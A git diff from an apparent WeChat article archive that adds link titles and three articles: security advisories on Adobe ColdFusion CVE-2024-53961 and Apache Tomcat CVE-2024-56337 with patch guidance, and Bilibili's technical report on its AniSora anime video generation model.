diff --git a/data.json b/data.json index e6c48157..78b2b00e 100644 --- a/data.json +++ b/data.json @@ -1991,5 +1991,14 @@ "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491825&idx=1&sn=3f17b8321f3d7a18c621a9631b58033f": "漏洞预警 | CyberPanel命令执行漏洞", "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491825&idx=2&sn=10017681ee52f6f356351fc448cb1d45": "漏洞预警 | SitecoreCMS任意文件读取漏洞", "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491825&idx=3&sn=2ea9dc185f5490c84245d06a73f4e9fe": "漏洞预警 | 中科网威anysec安全网关远程代码执行漏洞", - "https://mp.weixin.qq.com/s?__biz=MzkxMzIwNTY1OA==&mid=2247509941&idx=1&sn=2fc68474fecf59e0faacac6a6a7c79c8": "在NAS中部署Jellyfin 拥有自己的影院" + "https://mp.weixin.qq.com/s?__biz=MzkxMzIwNTY1OA==&mid=2247509941&idx=1&sn=2fc68474fecf59e0faacac6a6a7c79c8": "在NAS中部署Jellyfin 拥有自己的影院", + "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247502670&idx=1&sn=479d015990e5c63cf38d46824cc7a6d5&chksm=fe79efd6c90e66c0316c6f9d4122e6c35359545aa816b07ec0b92c866870421e8eda95754a0d&scene=58&subscene=0": "安全热点周报:Windows 内核漏洞现被利用来获取系统权限", + "https://mp.weixin.qq.com/s?__biz=MzkxNzUxNTMzNw==&mid=2247484054&idx=1&sn=fe0f59eddecc373a8c0f4f6e0f530973": "dedecms织梦任意文件上传漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247493396&idx=4&sn=cb28d670614d1ebf375025ab2f3a0c36": "【漏洞预警】CVE-2024-45387", + "https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247493396&idx=5&sn=cf01d14f914941546541b6a0a2f5abec": "Adobe 警告 ColdFusion 存在严重漏洞,并且 PoC 已流出", + "https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486477&idx=1&sn=b867e1f057d49e2a34b8de245f66d834": "「漏洞复现」方正畅享全媒体新闻采编系统 reportCenter.do SQL注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247526417&idx=1&sn=5d19b7fd81e7e92ff3cca973a60ccd22": "CVE-2024-56337:Apache Tomcat 修补关键 RCE 漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzg3Njc0NTgwMg==&mid=2247502001&idx=1&sn=9ee9dbe3b289e181b228325a53fb8cfe": "B站自研动画视频生成模型全链路技术报告", + "https://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247614788&idx=1&sn=103b63a5b448cad699cc6cf32f1cdb5a": "一文理解条件竞争漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzg4MTkwMTI5Mw==&mid=2247488285&idx=1&sn=97653bb5fd6a2d661776be1026799921": "【首发 1day】WordPress File Upload 插件存在前台任意文件读取漏洞(CVE-2024-9047)" } \ No newline at end of file diff --git a/doc/Adobe 警告 ColdFusion 存在严重漏洞,并且 PoC 已流出.md b/doc/Adobe 警告 ColdFusion 存在严重漏洞,并且 PoC 已流出.md new file mode 100644 index 00000000..43016280 --- /dev/null +++ b/doc/Adobe 警告 ColdFusion 存在严重漏洞,并且 PoC 已流出.md @@ -0,0 +1,26 @@ +# Adobe 警告 ColdFusion 存在严重漏洞,并且 PoC 已流出 + 独眼情报 2024-12-24 06:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/KgxDGkACWnR6ELrIjLDLx0G7hEXunSXQiciaGPWvnianCCov6ow5MdLfQwreLSulFSsCx71QibO9WnD8CQ84ABZosg/640?wx_fmt=jpeg&from=appmsg "") + + +Adobe 发布了带外安全更新,以通过概念验证 (PoC) 漏洞代码解决严重的 ColdFusion 漏洞。 + +该公司在周一发布的一份公告中表示,该漏洞(追踪为 CVE-2024-53961)是由影响 Adobe ColdFusion 版本 2023 和 2021 的路径遍历弱点引起的,并可能使攻击者能够读取易受攻击的服务器上的任意文件。 + +Adobe今天表示:“Adobe 意识到 CVE-2024-53961 具有已知的概念验证,可能导致任意文件系统读取”,同时还警告客户,它为该漏洞分配了“优先级 1”严重等级,因为它“在给定的产品版本和平台上被野外攻击的风险更高”。 + +该公司建议管理员尽快安装今天的紧急安全补丁(ColdFusion 2021 Update 18 和 ColdFusion 2023 Update 12),“例如在 72 小时内”,并应用ColdFusion 2023和ColdFusion 2021封锁指南中概述的安全配置设置。 + +虽然 Adobe 尚未透露此漏洞是否已被利用,但它今天建议客户查看其更新的串行过滤器文档,以获取有关阻止不安全的 Wddx 反序列化攻击的更多信息。 + +今年5 月, CISA 曾警告称,敦促软件公司在发布产品之前消除路径遍历安全漏洞,攻击者可以利用此类漏洞访问敏感数据,包括可用于暴力破解现有账户并破坏目标系统的凭证。 + +“自 2007 年以来,目录遍历等漏洞就被称为‘不可原谅’。尽管如此,目录遍历漏洞(例如 CWE-22 和 CWE-23)仍然是普遍存在的漏洞类别,”CISA 表示。 + +去年,即 2023 年 7 月,CISA 还命令联邦机构在 8 月 10 日之前保护其 Adobe ColdFusion 服务器,以防范攻击中利用的两个严重安全漏洞(CVE-2023-29298和CVE-2023-38205),其中一个是零日漏洞。 + +该美国网络安全机构一年前还透露,黑客自 2023 年 6 月以来一直在利用另一个关键的 ColdFusion 漏洞 (CVE-2023-26360) 来攻击过时的政府服务器。自 2023 年 3 月以来,同一漏洞在“非常有限的攻击”中 被 积极利用 为零日漏洞。 + + + diff --git a/doc/B站自研动画视频生成模型全链路技术报告.md b/doc/B站自研动画视频生成模型全链路技术报告.md new file mode 100644 index 00000000..5b3a9ccb --- /dev/null +++ b/doc/B站自研动画视频生成模型全链路技术报告.md @@ -0,0 +1,332 @@ +# B站自研动画视频生成模型全链路技术报告 +原创 AI 哔哩哔哩技术 2024-12-24 04:04 + +论文arXiv地址: +https://arxiv.org/abs/2412.10255 + +项目主页: +https://github.com/bilibili/Index-anisora + + +文章导读 + + +动画在影视工业中是相当重要的一个领域。尽管当前先进的视频生成模型比如Sora、可灵或智谱清影在生成三次元视频上取得了成功,他们在处理动画视频时却缺乏同样的效果。此外,由于独特的艺术风格、打破物理规则以及夸张的动作,评估动画视频生成结果也是一个巨大的挑战。 + +在我们的工作中,我们提出了一个专为动漫视频生成设计的综合系统AniSora,包括数据飞轮、可控的生成模型和一个评估基准。在数据飞轮提供了10M以上高质量数据的支持下,生成模型加入了一个时空掩码模块来实现关键的动画制作功能比如图生视频、视频插帧和局部图像引导动画。我们收集了一个包含了948个不同的动画视频的评估基准。基于VBench指标和人工双盲测试都证明了生成视频在人物和动作上的一致性,取得了在动画视频生成领域行业领先的结果。 + +业务上,我们的视频生成模型赋能了动态漫内容制作,已经有超过10部自有IP作品运用了AI动态漫能力。相比于人工制作需要专业人员和较长工期,AI动态漫实现了低成本、低门槛、高效率的剧集内容制作,并在多个平台突破千万播放。 + +**概述** + + + + +我们提出的专为动漫视频生成设计的整套系统AniSora如图1所示。首先,我们的数据处理飞轮提供了超过1000多万个高质量的文本-视频对,构成我们工作的基础。其次,我们开发了一个适用于动画视频生成的统一扩散框架。我们的框架利用时空掩码来支持一系列任务,包括图生视频、视频插帧和局部图像引导动画。通过集成这些功能,我们的系统可以在若干关键帧之间创建平滑的过渡并实现在特定区域的可动控制,例如精确地控制不同角色说话。这为专业动画创作者提供了更高效的创作过程。 + +此外,我们还提出了一个专门为动画视频评估设计的基准数据集。与主要关注自然景观或现实世界人类动作的现有评估数据集不同,我们的数据集满足了动画视频评估的独特要求。为了实现这一目标,我们收集了横跨多个类别的948个动画视频,并且手动优化与之关联的文本提示词。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/1BMf5Ir754QkCYibkqWbFt2qw8fraJuiaY6oicJIkNs16icll6KGZwaBOySJD8edNvjBicKgEo1m4VGApbJnFZibt2xQ/640?wx_fmt=png&from=appmsg "") + +**图1 AniSora整套系统概述** + + +**数据集** + + + + +我们观察到高质量的文本-视频对是视频生成的基石,这点也被最近的研究所证明。据此我们构建了自己的动画数据集,我们将在本节中对动画数据集构建和评估基准进行详细描述。 + +**动画数据集构建**:我们构造了一个数据飞轮从100万个原始动画视频中获得高质量的文本-视频对。首先,我们使用场景检测[1]将原始动画视频分割成片段。然后,对于每个视频片段,我们从四个维度构造了过滤规则:文本覆盖区域、光流得分、美学得分和帧数。过滤规则是通过在模型训练中的观察逐步建立起来的。详细地说,文本覆盖区域得分(通过CRAFT算法[2]得到)可以丢弃掉那些有类似片尾字幕的文本覆盖的片段。光流得分(通过RAFT算法[3]得到)可以防止那些有静止图像或快速闪回场景的片段。美学得分[4]用于保存具有高艺术质量的片段。此外,我们还根据帧数保留持续时间在2s-20s之间的视频片段。在上述四个步骤之后,大约10%的片段(超过1000万段)可以进入训练步骤。此外,我们根据观察到的表现调整特定训练数据的比例(如说话和运动幅度),一些更高质量的片段最终将从训练集中筛选出来,以进一步提高模型性能。 + +**基准数据集构建:**为了直接比较我们的模型和其他最近研究的生成视频,我们手动构建了一个基准动漫数据集。我们收集了948个动画视频片段并标记了不同的动作,如说话、走路、跑步、吃饭、打斗等。其中有857个2D片段和91个3D片段。这些动作标签是从人工注释的100多的常见动作中总结出来的。每个标签包含10-30个视频片段。相应的文本提示词首先由Qwen-VL2[5]生成,然后手动校正以确保文本-视频对齐。 + + +**方法** + + + + +在本节中,我们将展示一种使用扩散transformer(Dit)架构生成动画视频的有效方法,如图2所示。第一小节概述了基础的Dit模型。在第二小节,我们引入了时空掩码模块,该模块扩展了Dit模型,在统一的框架内实现了关键的动画制作功能,比如图生视频、视频插帧和局部图像引导动画。这些增强功能对专业动画制作至关重要。最后,第三小节详细介绍了在动画数据集上采用的有监督微调策略。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/1BMf5Ir754QkCYibkqWbFt2qw8fraJuiaYJLJJ1QFuianOGciabBm8xZbiawAkMDUgAauR9Nl6U6OV2vZAtORYyQDuQ/640?wx_fmt=png&from=appmsg "") + +**图2 时空掩码的扩散transformer框架图** + + +**1.基于Dit架构的视频生成模型** + + +我们采用了基于Dit架构[6]的文生视频扩散模型作为基础模型。模型利用了三个组件来实现与文本提示词对齐的连贯、高分辨率视频。 + +**3D Casual VAE**被用在视频生成框架里作为专为时空数据压缩量身定做的专用编解码器架构。这个3D VAE既在空间维度又在时间维度上压缩视频,显著减少了扩散模型计算量。我们遵循先前工作[7]提出的方法来提取特征,将维度为  +  +的原始视频转换为形状为  + 的潜在表达。 + +**Patchify** 是将视觉任务适配到基于transformer架构的关键步骤。给定一个大小为  + 的输入视频,它在空间上被分割为  + 大小的块,在时间上被分割为大小的  + 块,从而得到  + 个块。该方法降低复杂性的同时保留局部空间信息,实现了高效的高维数据处理。 + +**3D 全注意力机制** 是我们为空间和时间建模提出的一个模块,其灵感来自大语言模型(LLMs)和基础视频生成模型中长上下文训练的显著成功。 + +**扩散调度** 将高斯噪声应用于初始样本  + ,重复  + 步生成了噪声样本  + ,其中  + 以及  + 。反向过程通过最小化均方误差来预测  + :  +  + +为了训练稳定,我们使用了v-prediction损失,其中  + ,损失转变为  +  + +这个方法增强了稳定性和模型性能。 + + +**2.  时空条件模型** + + +**关键帧插帧** 通过生成中间帧来创建在关键帧之间的平滑过渡。这是专业动画制作的一个重要阶段,也是艺术家最劳动密集型的任务之一。我们将这一概念扩展到以放置一个或者多个任意帧到视频序列里的任何位置为条件的视频生成。 + +**运动控制** 作为我们框架内的一项技术,解决了基于文本控制的局限性,并实现了对运动区域的精确控制。这种方法增强了艺术家对视频内容的控制,使他们能够表达自己创造力的同时大大减少了工作量。 + + +**2.1 带掩码的扩散transformer模型** + + +在带掩码的扩散transformer框架中, 我们通过将VAE编码后的引导帧  + 放在指定位置  + 来构造引导特征序列  + ,同时对所有其他位置  + 设定  + 。生成相应的掩码序列  + ,其中  + 对应引导帧位置,其他位置  + 。通过重投影函数对掩码进行处理,得到了一个编码表达  + 。最终输入到扩散transformer的是噪声、被编码的掩码、文本提示词的T5特征以及引导序列在特征维度上的级联:  +  + +这个设定集成了特定位置的引导和掩码编码,增强了模型的条件生成能力。 + + +**2.2 运动区域控制** + + +本框架还支持空间运动区域条件。给定图片条件  + ,运动区域条件由与之形状相同的掩码  + 表示。在  + 中的可运动区域被标记为1,其他位置被设置为0。对于引导帧位置  + ,设置  + 。数据处理和训练方法可以概括如下:**构造视频-掩码对**,我们首先构造由视频及其相应掩码组成的成对训练数据。通过使用一个前景检测器[8],我们检测到视频首帧的前景区域。这个区域在后续帧中被继续跟踪,为每一帧生成一个前景掩码。**前景掩码的并集**,我们将每一帧的前景组合起来创建了一个统一掩码  + ,代表了整个视频中所有前景区域的并集。**潜在视频后处理**,对视频潜在表达  + ,将非运动区域设置为引导图片的潜在特征,形成静态区域确保遵循掩码。**基于LoRA的条件训练**,我们使用参数量为0.27B的低秩自适应(LoRA)训练条件引导模型。该方法显著降低了计算量需求,同时实现了高效的模型训练。 + + +**3.  有监督的微调** + + +我们使用了一个在3500万个不同的视频片段上预训练的权重初始化我们的模型。随后,我们在自建的动画训练数据集执行全参数监督微调(SFT),使模型专门适用于动画任务。 + +**从弱到强** 我们的视频生成模型采用从弱到强的训练策略,以逐步提高其在不同分辨率和帧率下的学习能力。最初,模型在8fps的480P视频上训练3轮,使其能够以较低的帧率捕捉基本的时空动态。在此之后,在16fps的480P视频上进行额外1.9轮的训练,使其能够优化时间一致性并适应更高的帧率。最后,在16fps的720P视频上进行了2.3轮的微调,利用之前学习到的特征生成高分辨率、时序连贯的视频输出。此外,我们使用了前文”数据集“章节提到的更加严格的过滤,生成了100万超高质量数据集用于最后阶段的微调,显著提高了高分辨率视频质量。 + +**删除生成的字幕** 我们的训练数据中存在大量带有字幕和平台水印的视频,导致模型在输出中偶尔会产生此类伪影。为了缓解这个问题,我们专门构造了一个完全没有字幕和水印的视频数据集进行了有监督的微调。这个数据集由79万个视频视频片段组成,是通过按比例裁剪含字幕的视频和挑选干净无字幕的视频构建的。然后对模型进行全参数微调。在5500轮迭代后,我们观察到模型在生成结果里有效地消除了字幕和水印,并且不损害整体性能。 + +**时域多分辨率训练**鉴于高质量动画数据的稀缺性,我们采用混合训练策略,使用不同持续时间的视频片段来最大限度地提高数据利用率。具体而言,我们采用可变长度训练方法,训练视频持续时间为2至8秒。该策略使我们的模型能够生成可变长度在2至8秒的720p视频片段。 + +**多任务学习** 与现实世界中具有物理一致性的运动模式相比,不同作品的动画风格和动作动态会有很大差异。数据集之间的这种领域差距通常会导致从具有不同艺术风格的引导帧生成的视频存在实质性的质量差异。因此,我们加入了图像生成,形成多任务训练框架来提高模型对多样艺术风格的泛化性。 + +**掩码策略** 在训练过程中,我们以50%的均匀采样概率随机打开首帧、尾帧和其他帧的掩码。该策略使模型具备处理任意引导条件的能力,使其能够执行比如视频过渡、首帧续写和任意帧引导等任务。我们在2.1小节中做了详细讨论。 + + +**实验结果** + + + + +针对我们提出的系统以及评估基准,我们采用了自动化评测和人工评测两种方式。 + +自动化评测的指标采取了VBench[9]中的多个维度,例如运动平滑度、美学质量、成像质量、主体一致性、图生视频主体一致性、图生视频背景一致性和整体一致性等。整体一致性评估的是文本-视频的一致性。此外,我们还使用了一个运动幅度模型来评估生成的视频片段的运动得分。我们将这8个指标对我们的方法以及其他6个近期的前沿工作进行了评估,如表1所示。我们观察到我们的方法在主体一致性和运动平滑度上表现良好,并且在除了运动分数以外的其他5个指标上表现接近。这些主要是因为我们对生成质量与运动幅度之间的平衡进行了全面评估,并发现大多数大幅度运动的生成结果都会有失真和不自然的片段。 + + +**表1 与其他方法的自动化评测结果比较** + +![](https://mmbiz.qpic.cn/mmbiz_png/1BMf5Ir754QkCYibkqWbFt2qw8fraJuiaYxa2TNL65TmgXNFoUicVQgnKicCkDibFNRlSTQSVTTj74pkuaIH3kyCbzQ/640?wx_fmt=png&from=appmsg "") + + +我们也在6个直观维度上进行了人工双盲评估,包括视觉平滑度、视觉动作、视觉吸引度、文本-视频一致性、图像-文本一致性和主角一致性。我们观察到Anisora在大多数维度上都超越了其他方法。 + + +表2 人工评估分数 + +![](https://mmbiz.qpic.cn/mmbiz_png/1BMf5Ir754QkCYibkqWbFt2qw8fraJuiaYbrjIadID8nYY4wOttuSpukXkOBZSujgY8ibx8mwTbBnBVlCmt6BXNLA/640?wx_fmt=png&from=appmsg "") + + +我们针对运动区域控制也进行了量化评估。评估基准的构建基于我们提出的基准数据集,对每一个初始帧采用显著性分割和连通域检测获取每个实例的包围框,然后从中挑选高质量的运动区域掩码,总共有200个样本。评估指标为运动掩码精度,即生成的视频运动像素在掩码区域内的占比。评估结果如表3所示,其验证了我们方法控制可动区域的有效性。 + + +**表3 运动区域控制评估** + +![](https://mmbiz.qpic.cn/mmbiz_png/1BMf5Ir754QkCYibkqWbFt2qw8fraJuiaYr9oFYGlBb2yDTjJZs5ic2dX0MvHQjZgMChSXFicpAibQRsHg2SggpeuFQ/640?wx_fmt=png&from=appmsg "") + + +此外,我们分析发现在我们的数据集中2D的样本占大多数,但是3D动画的生成质量各指标持续领先2D。这可能是因为3D动画也是基于物理引擎如UE等渲染的,遵循一致的物理规则,和基于真实世界数据的预训练模型更为接近,可以更好地在微调时知识迁移。 + +我们也在一个具有独特艺术风格的漫画上对多任务训练(混合图像和视频)进行了消融实验,发现即使训练时只有少量的该特定风格图像数据的加入,以该独特风格的引导图生成的视频结果也能在稳定性和视觉质量上有显著的提升。 + + +**demo** + + + +- 不同艺术风格的图生视频 + + +

提示词

在这段视频中,我们看到一部动画电影中的一个场景,主角是格鲁和他的女儿阿格尼斯。格鲁是一位光头、有着标志性胡须的男子,穿着一件黑色夹克,正坐在床上,而阿格尼斯躺在床上。他们都注视着阿格尼斯手中拿着的一部智能手机。。。。

引导帧首帧

生成的视频

+

提示词

在这段视频中,一只小狮子正与一只人类的手互动。小狮子显得活泼好奇,睁着圆圆的大眼睛,似乎在嗅闻那只手。。。。

引导帧首帧

生成的视频

+

提示词

在这段视频中,我们看到著名动画角色海绵宝宝出现在一个场景中,他正在使用一部对讲机。。。。

引导帧首帧

生成的视频

+

提示词

画面中的人物坐在向前行驶的车上向着后方招手,他们的头发被风吹的左右摇摆

引导帧首帧

生成的视频

+ +

提示词

画面中两个穿着红色婚服的人物牵着红绳向远方走去

引导帧首帧

生成的视频

+

提示词

画面中黄色头发的人物伸出手抚摸跪倒在地上人物的头,画面中跪在地上的人物因为喘气身体在上下起伏

引导帧首帧

生成的视频

+- 时域条件控制(对应任务如视频插帧、扩写开头) + +

提示词

在这段视频中,我们看到了动画电影《美女与野兽》中贝儿和野兽的场景。 金色长发的贝儿。。。。

引导帧首帧

中间帧

尾帧

生成的视频

提示词

在这段视频中,可以看到一名金发长发的年轻女子在夜间从车门后面向外张望。车停在星空下,满月照亮了现场。。。。

引导帧首帧

尾帧

生成的视频

提示词

在这个视频中,一只卡通猫是中心人物,它似乎处于顽皮或好奇的状态。猫的眼睛闭着,嘴巴张开,暗示着片刻的惊喜或期待。。。。

引导帧尾帧

生成的视频

+- 运动区域控制 + + + +

提示词

在动画电影《海底总动员》中这一充满活力的水下场景中,马林和尼莫这两条小丑鱼在一块紫色的大珊瑚附近交谈。。。。

引导帧首帧

运动掩码1

生成的视频(带有掩码的可视化)

运动掩码2

生成的视频(带有掩码的可视化)

+- 泛化独特风格的多任务微调 + +

提示词

画面中的人物向上抬了下手臂,他手臂上的气体在流动

引导帧首帧

生成的视频

提示词

画面中的人物在说话,他背后紫色的气体在不断的翻涌

引导帧首帧

生成的视频

提示词

飞剑位置在绿色运动轨迹初始的位置

引导帧首帧

尾帧

生成的视频

+- 运动强度控制 + +

提示词

一个穿着粉红色开襟羊毛衫的年轻女子坐在一间舒适房间的地板上。她轻轻地抚摸着她的黑猫,它正在一个小盒子上的碗里吃东西。。。。

引导帧首帧

正常强度

大幅强度

+ +‍更多结果以及完整提示词和视频可点此链接 + +https://pwz4yo5eenw.feishu.cn/docx/XN9YdiOwCoqJuexLdCpcakSlnkg + + +**业务场景** + + + + +在视频内容火热的当下,用户对于视频内容的接受程度远高于漫画图片内容,动态漫作为漫画和动画之间的一个衍生品类也获得了大量用户的青睐。对于传统的漫画行业来说,动态漫是一个破局与革新的重要手段,但传统的动态漫制作需要一定的制作成本和较长时间周期,对于平台来说大批量的生产动态漫内容会承担较大的风险。而通过自研AI的生成能力,实现低成本、批量的动态漫内容的制作,对于拥有大量漫画版权资源的业务方来说是一个低风险且高收益的全新内容方向,并且通过动态漫的投放可持续扩大漫画IP的影响力,实现漫画&动态漫内容双赢。 + +具体来说,我们基于自研的动画视频生成技术,搭建了动态漫生成平台,只需要给到一段对应漫画图片的动态描述和漫画图片中角色对话的台词及情绪,就可以在3-5分钟内获得由漫画图片生成的动态视频及符合漫画角色音色和情绪的配音。为了方便运营同学使用,我们还增加了一些额外的配置,如利用掩码控制动态区域、快捷prompt、调整动态幅度、控制生成视频时长等,适配更具体的应用场景。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/1BMf5Ir754QkCYibkqWbFt2qw8fraJuiaYJ3XJaFYQuOsQicC34BuFIUgxPJTIKsibf9kQercl5WOwOa9H56mUvjZg/640?wx_fmt=png&from=appmsg "") + +**动态漫生产流程图** + + +![](https://mmbiz.qpic.cn/mmbiz_png/1BMf5Ir754QkCYibkqWbFt2qw8fraJuiaYEgVpRK8SXrZWgcpORSwBza9rwWHZo8ju7r1pPcRX5ibs0C7nGJ9icPZQ/640?wx_fmt=png&from=appmsg "") + +**动态漫生成平台示例图** + + +传统动态漫的制作需要专业的动效师进行动态效果制作,而动态效果制作占据了大量的时间、金钱成本。据数据统计,传统动态漫制作成本可至1000~10000元/分钟,而制作周期根据制作团队的人数安排需要几天到几周不等;AI动态漫的优势则在于极大程度的降低了创作成本,且去除了动效制作的能力门槛。一个会剪辑包装的运营制作1分钟的动态漫内容通常可以在1天内完成,综合考虑资源及人力成本来看,AI动态漫制作成本有数量级的降低。 + +截至12月,已经有超过10部自有IP作品运用了AI动态漫能力,实现了低成本且高效的动态漫剧集内容制作,并在各平台收获数千万播放。 + +此外,动态漫项目也在WAIC、QCon等会议参展,累计接待用户近6K+,受到了广泛好评。 + + +**未来规划** + + + + +在本文中,我们提出了一个统一的框架AniSora模型,为克服动画视频生成中的挑战提供了解决方案。我们不仅在基准数据集上验证了方法的有效性,也以低成本、高效率支持动态漫内容制作,在多个平台突破千万播放。 + +尽管如此,目前的动画生成仍会存在一些瑕疵和畸变的问题。未来,我们计划开发一个全面的自动评分系统,专门用于动画视频评估,从而使评估更贴近主观感知。同时,我们计划扩展当前的模型架构,将多模态引导纳入其中实现更加精确的生成控制,包括相机运动、轨迹、动作和音频等。此外,为解决高质量动画数据有限的问题,我们还将采用强化学习技术,在有限的数据上进一步优化模型性能。 + + +**参考文献** + + + + +[1] Breakthrough. Pyscenedetect. https://github.com/Breakthrough/PySceneDetect, 2024. 3 + +[2] Youngmin Baek, Bado Lee, Dongyoon Han, Sangdoo Yun, and Hwalsuk Lee. Character region awareness for text detection. In CVPR, 2019. 3 + +[3] princeton vl. Raft. https://github.com/princeton-vl/RAFT, 2020. 3 + +[4] christophschuhmann. improved-aesthetic-predictor. https://github.com/hristophschuhmann/improved-aesthetic-predictor, 2022. 3 + +[5] Peng Wang, Shuai Bai, Sinan Tan, Shijie Wang, Zhihao Fan, Jinze Bai, Keqin Chen, Xuejing Liu, et al. Qwen2-vl: Enhancing vision-language model’s perception of the world at any resolution. arXiv preprint arXiv:2409.12191, 2024. 3, 7 + +[6] William Peebles and Saining Xie. Scalable diffusion models with transformers. In ICCV, 2023. 1, 4 + +[7] Zhuoyi Yang, Jiayan Teng, Wendi Zheng, Ming Ding, Shiyu Huang, Jiazheng Xu, Yuanming Yang, et al. Cogvideox: Text-to-video diffusion models with an expert transformer. arXiv preprint arXiv:2408.06072, 2024. 1, 3, 4, 6 + +[8] Taehun Kim, Kunhee Kim, Joonyeong Lee, Dongmin Cha, et al. Revisiting image pyramid structure for high resolution salient object detection. In ACCV, 2022. 5 + +[9] Ziqi Huang, Yinan He, Jiashuo Yu, Fan Zhang, Chenyang Si, Yuming Jiang, Yuanhan Zhang, Tianxing Wu, Qingyang Jin, et al. Vbench: Comprehensive benchmark suite for video generative models. In CVPR, 2024. 1, 3, 5 + + +-End- + +作者丨das、高树、HarryJ、星宇XY、森琦 + + + +**开发者问答** + +**有了动漫视频生成技术,大家会用来创作什么样的内容呢?** + +欢迎在留言区分享你的见解~ + +转发本文至朋友圈并留言,即可参与**下方抽奖****⬇️** + +小编将抽取1位幸运的小伙伴获取 +**龙年小电视鼠标垫键盘垫** + +**抽奖截止时间:12月27日12:00** + +如果喜欢本期内容的话,欢迎点个“在看”吧! + + + +**** +**往期精彩指路** + +- [B](https://mp.weixin.qq.com/s?__biz=Mzg3Njc0NTgwMg==&mid=2247501265&idx=1&sn=c2adc99be2aeecefbae44df81e49cb90&scene=21#wechat_redirect) +[B站自研角色扮演模型背后的技术](https://mp.weixin.qq.com/s?__biz=Mzg3Njc0NTgwMg==&mid=2247501265&idx=1&sn=c2adc99be2aeecefbae44df81e49cb90&scene=21#wechat_redirect) + + +- [虚拟歌手洛天依与AI语音的交响](https://mp.weixin.qq.com/s?__biz=Mzg3Njc0NTgwMg==&mid=2247496159&idx=1&sn=d83dbc281b00235d40a1fda0bbbc2f9c&scene=21#wechat_redirect) + + +- [OGV内容生产工业化](https://mp.weixin.qq.com/s?__biz=Mzg3Njc0NTgwMg==&mid=2247499919&idx=1&sn=87da63ea44e360aa245871975eac05bf&scene=21#wechat_redirect) + + + + + +[通用工程](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3Njc0NTgwMg==&action=getalbum&album_id=3289447926347317252#wechat_redirect) +丨[大前端](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3Njc0NTgwMg==&action=getalbum&album_id=2390333109742534656#wechat_redirect) +丨[业务线](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3Njc0NTgwMg==&action=getalbum&album_id=3297757408550699008#wechat_redirect) + + +[大数据](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3Njc0NTgwMg==&action=getalbum&album_id=2329861166598127619#wechat_redirect) +丨[AI](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3Njc0NTgwMg==&action=getalbum&album_id=2782124818895699969#wechat_redirect) +丨[多媒体](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg3Njc0NTgwMg==&action=getalbum&album_id=2532608330440081409#wechat_redirect) + + + + + + diff --git a/doc/CVE-2024-56337:Apache Tomcat 修补关键 RCE 漏洞.md b/doc/CVE-2024-56337:Apache Tomcat 修补关键 RCE 漏洞.md new file mode 100644 index 00000000..d349928c --- /dev/null +++ b/doc/CVE-2024-56337:Apache Tomcat 修补关键 RCE 漏洞.md @@ -0,0 +1,47 @@ +# CVE-2024-56337:Apache Tomcat 修补关键 RCE 漏洞 + Ots安全 2024-12-24 04:57 + +![](https://mmbiz.qpic.cn/mmbiz_gif/bL2iaicTYdZn7gtxSFZlfuCW6AdQib8Q1onbR0U2h9icP1eRO6wH0AcyJmqZ7USD0uOYncCYIH7ZEE8IicAOPxyb9IA/640?wx_fmt=gif "") + +Apache 软件基金会最近发布了一个关键安全更新,以解决 Apache Tomcat 中的远程代码执行 (RCE) 漏洞,编号为 CVE-2024-56337。此漏洞影响多个 Tomcat 版本,包括 11.0.0-M1 至 11.0.1、10.1.0-M1 至 10.1.33 和 9.0.0.M1 至 9.0.97。 + +此漏洞源于对先前漏洞 CVE-2024-50379 的未完全缓解。攻击者可以在 Tomcat 的默认 servlet 启用了写入功能的不区分大小写的文件系统上利用此漏洞。通过操纵特定路径,恶意行为者可以绕过安全措施并上传包含有害 JSP 代码的文件,最终导致远程代码执行。 + +在不区分大小写的文件系统上运行受影响版本的 Apache Tomcat 的用户(尤其是启用了默认 servlet 写入功能的用户)最容易受到攻击。此漏洞构成重大威胁,因为它可能允许攻击者完全控制受影响的系统。 + +CVE-2024-56337 由研究人员 Nacl、WHOAMI、Yemoli 和 Ruozhi 发现并报告,而知道创宇 404 团队(包括 dawu 和 Sunflower)也做出了进一步贡献,他们提供了详细的 PoC。 + +Apache 软件基金会敦促用户将其 Tomcat 安装更新到最新的安全版本: +- Apache Tomcat 11.0.2 或更高版本 + +- Apache Tomcat 10.1.34 或更高版本 + +- Apache Tomcat 9.0.98 或更高版本 + +根据 Tomcat 使用的 Java 版本,可能需要进一步配置才能完全降低风险: +- Java 8 或 Java 11:将系统属性sun.io.useCanonCaches明确设置为false。 + +- Java 17:确保系统属性sun.io.useCanonCaches(如果设置)设置为false。 + +- Java 21 及更高版本:无需采取进一步措施。 + + + +感谢您抽出 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycNnFvFYVgXoExRy0gqCkqvrAghf8KPXnwQaYq77HMsjcVka7kPcBDQw/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycd5KMTutPwNWA97H5MPISWXLTXp0ibK5LXCBAXX388gY0ibXhWOxoEKBA/640?wx_fmt=gif "") + +. + 